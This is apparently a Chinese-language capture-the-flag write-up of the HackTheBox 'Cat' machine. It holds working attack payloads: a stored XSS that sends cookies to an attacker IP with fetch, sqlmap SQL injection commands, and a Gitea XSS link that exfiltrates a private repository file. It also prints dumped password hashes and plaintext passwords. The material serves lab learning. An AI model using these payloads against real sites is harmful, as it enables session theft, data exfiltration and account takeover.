HackTheBox Cat
user
recon
ports
sudo nmap -sT -sC -sV -p22,80 cat.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-06 09:45 +08
Nmap scan report for cat.htb (10.129.189.200)
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 10.129.189.200:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Cat v1
|_http-title: Best Cat Competition
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.99 seconds
发现存在.git文件泄露,dump下来。
发现了web应用源代码
大致浏览一遍,发现sql操作相关语句使用了预编译处理。暂不考虑sql注入。浏览界面功能。
需要我们先进行注册然后登录:
登陆后发现我们可以在Contest界面下进行上传操作。
且在contest.php中审计代码发现: From中的各个字段均被黑名单处理。
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) || contains_forbidden_content($birthdate, $forbidden_patterns) || contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
且上传的图片路径使用了uniqid函数进行随机化命名和对图片后缀、尺寸和类型进行鉴别。即使上传了也无法进行利用。
!! $imageIdentifier = uniqid() . "_";
// Upload cat photo
$target_dir = "uploads/";
!! $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// Check if the file is an actual image or a fake file
!! $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
if($check !== false) {
$uploadOk = 1;
} else {
$error_message = "Error: The file is not an image.";
$uploadOk = 0;
}
// Check if the file already exists
if (file_exists($target_file)) {
$error_message = "Error: The file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["cat_photo"]["size"] > 500000) {
$error_message = "Error: The file is too large.";
$uploadOk = 0;
}
// Allow only certain file formats
!! if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
$error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
$uploadOk = 0;
}
在此处卡了一段时间,后经思考:这是一个提交表单,搞不好后台会对之进行处理,比如说点击?那会不会存在xss?
抓包发现此web应用Cookie 没有设置 HttpOnly
。说明我们可以通过js脚本获取Cookie。
但从上面可知。contest.php下的各个输入字段已被过滤特殊字符,无法传入js代码。又该从哪里入手呢?
假设此表单会提交到后端,会不会如邮件列表一样显示呢?会不会显示来源?是谁提交的?又试了一下,发现用户名并没有进行过滤。那我可不可以在username中插入js代码。然后通过contese.php上传表单,诱使管理员点击呢?
exploit
使用js中的fetch函数进行cookie获取:<script>fetch('http://10.10.14.73/xss?cookie=' + btoa(document.cookie))</script>
作为用户名。
获取到了cookie:
替换cookie登录。
存在那个选项按钮,分别对应源码:view_cat、accept_cat、Reject_cat三个php文件。分析源代码发现。accpet_cat.php中的
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
catName参数没用进行PDO预处理,直接进行sql语句操作。手动测试了一下。大概率是布尔盲注或者时间盲注。这里我出现问题了,sqlmap跑了很多遍才跑出来。
sqlmap -r ./sql.txt --risk 3 --level 5 -p catName --dbms sqlite --technique=BEST -T users --dump
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=1'||(SELECT CHAR(102,106,121,119) WHERE 2440=2440 AND 2747=2747)||'&catId=1
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catName=1'||(SELECT CHAR(102,65,122,77) WHERE 7797=7797 AND 6912=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---
<current>
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
14:06:55] [INFO] retrieved: axel2017@gmail.com [14:07:18] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f [14:07:57] [INFO] retrieved: 1
[14:07:59] [INFO] retrieved: axel
[14:08:03] [INFO] retrieved: rosamendoza485@gmail.com
[14:08:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[14:09:13] [INFO] retrieved: 2
[14:09:15] [INFO] retrieved: rosa
[14:09:21] [INFO] retrieved: robertcervantes2000@gmail.com
[14:09:52] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad [14:10:39] [INFO] retrieved: 3
[14:10:40] [INFO] retrieved: robert
[14:10:48] [INFO] retrieved: fabiancarachure2323@gmail.com
[14:11:20] [INFO] retrieved: 39e153e825c4a3d314a0dc7f7475ddbe
[14:12:01] [INFO] retrieved: 4
[14:12:03] [INFO] retrieved: fabian
[14:12:11] [INFO] retrieved: jerrysonC343@gmail.com [14:12:40] [INFO] retrieved: 781593e060f8d065cd7281c5ec5b4b86
[14:13:20] [INFO] retrieved: 5
[14:13:22] [INFO] retrieved: jerryson
[14:13:31] [INFO] retrieved: larryP5656@gmail.com
[14:13:54] [INFO] retrieved: 1b6dce240bbfbc0905a664ad199e18f8
[14:14:36] [INFO] retrieved: 6
[14:14:38] [INFO] retrieved: larry
[14:14:44] [INFO] retrieved: royer.royer2323@gmail.com
[14:15:12] [INFO] retrieved: c598f6b844a36fa7836fba0835f1f6
[14:15:51] [INFO] retrieved: 7
[14:15:53] [INFO] retrieved: royer
[14:15:58] [INFO] retrieved: peterCC456@gmail.com
[14:16:25] [INFO] retrieved: e41ccefa439fc454f7eadbf1f139ed8a
[14:17:06] [INFO] retrieved: 8
[14:17:07] [INFO] retrieved: peter
[14:17:13] [INFO] retrieved: angel234g@gmail.com
[14:17:36] [INFO] retrieved: 24a8ec003ac2e1b3c5953a6f95f8f565
[14:18:21] [INFO] retrieved: 9
[14:18:23] [INFO] retrieved: angel
[14:18:29] [INFO] retrieved: jobert2020@gmail.com
[14:18:51] [INFO] retrieved: 88e4dceccd48820cf77b5cf6c08698ad
[14:19:30] [INFO] retrieved: 10
[14:19:32] [INFO] retrieved: jobert
[14:19:39] [INFO] retrieved: xss@sec.com
在获取的hash中我们可以破解rosa的hash。破解后ssh登陆成功
稍微探测一下
rosa@cat:~$ sudo -l
[sudo] password for rosa:
Sorry, user rosa may not run sudo on cat.
rosa@cat:~$ cat /etc/crontab
cat: /etc/crontab: Permission denied
rosa@cat:~$ ss -antlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Proces
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 1 127.0.0.1:37689 0.0.0.0:*
LISTEN 0 128 127.0.0.1:51939 0.0.0.0:*
LISTEN 0 37 127.0.0.1:59111 0.0.0.0:*
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
rosa@cat:~$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
存在如上账户,目标开放了3000端口,留待备用。rosa属于adm组。
我们可以看看adm组可以查看哪些文件:
rosa@cat:~$ find / -group adm 2>/dev/null 15:00:26 [4/4]
/var/log/audit
/var/log/audit/audit.log
/var/log/audit/audit.log.4
/var/log/audit/audit.log.1
/var/log/audit/audit.log.3
/var/log/audit/audit.log.2
/var/log/syslog.2.gz
/var/log/syslog.1
/var/log/kern.log.2.gz
/var/log/apt/term.log.2.gz
/var/log/apt/term.log.5.gz
/var/log/apt/term.log.4.gz
/var/log/apt/term.log.6.gz
/var/log/apt/term.log.3.gz
/var/log/apt/term.log
/var/log/apt/term.log.1.gz
/var/log/auth.log.1
/var/log/kern.log.1
/var/log/dmesg
/var/log/apache2
/var/log/apache2/access.log
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log
/var/log/apache2/error.log.2.gz
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.1
.......
主要是可以查看/var/log下的日志。可以尝试搜索敏感字段,如password啥的。
其下可以发现十分醒目刷屏的一行
/var/log/apache2/access.log:127.0.0.1 - - [06/Feb/2025:01:13:43 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x8 6_64; rv:134.0) Gecko/20100101 Firefox/134.0"
如此得到了axel的密码。
ssh登录。得到user.txt
root
axel@cat:~$ sudo -l
[sudo] password for axel:
Sorry, user axel may not run sudo on cat.
axel@cat:~$ cat /etc/crontab
cat: /etc/crontab: Permission denied
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)
在进行信息搜集时,发现/var/mail下存在邮件。 给出了相关信息:我们可以给jobert发送邮件,内容是我们的git存储库。提到了“description”,会查看它。存在一个私有库Employee-management。
我们将3000端口代理出来访问是一个gitea。这也是一个诱使点击的场景,进行xss尝试。 在description中插入payload如下:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.73/xss?data='+encodeURIComponent(data))).catch(error => fetch('http://10.10.14.73/error'))">xss</a>
得到回显,解码后发现root密码。
Summary
这是一台linux环境下的XSS漏洞机器,学习一些知识点,比如:Httponly,以及关于提交表单类型xss的应用场景思考,还带点php代码审计,以及javascript下的fetchAPI的复习。
beyond
在js fetchAPI下对数据进行编码的函数,
URL相关:
- encodeURIComponent:最严格的编码,包括&等特殊字符
- encodeURI:保留了&等URI语法字符
- URLSearchParams:自动处理空格为+,适合表单数据
json相关:
response.json() .text() .blob()
JSON.stringify(data) 将json数据data转换成字符串
encodeURI函数
connect to [10.10.14.73] from (UNKNOWN) [10.129.189.200] 57696
GET /xss?data=%3C?php%0A$valid_username%20=%20%27admin%27;%0A$valid_password%20=%20%27IKw75eR0MR7CMIxhH0%27;%0A%0Aif%20(!isset($_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset($_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20$_SERVER%5B%27PHP_AUTH_USER%27%5D%20!=%20$valid_username%20%7C%7C%20$_SERVER%5B%27PHP_AUTH_PW%27%5D%20!=%20$valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate:%20Basic%20realm=%22Employee%20Management%22%27);%0A%20%20%20%20header(%27HTTP/1.0%20401%20Unauthorized%27);%0A%20%20%20%20exit;%0A%7D%0A%0Aheader(%27Location:%20dashboard.php%27);%0Aexit;%0A?%3E%0A%0A HTTP/1.1
Host: 10.10.14.73
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4
URLSearchParams函数不适合进行xss信息回显,主要是将 JavaScript 对象转换为 URL 查询字符串,常用于在 GET 请求中传递参数。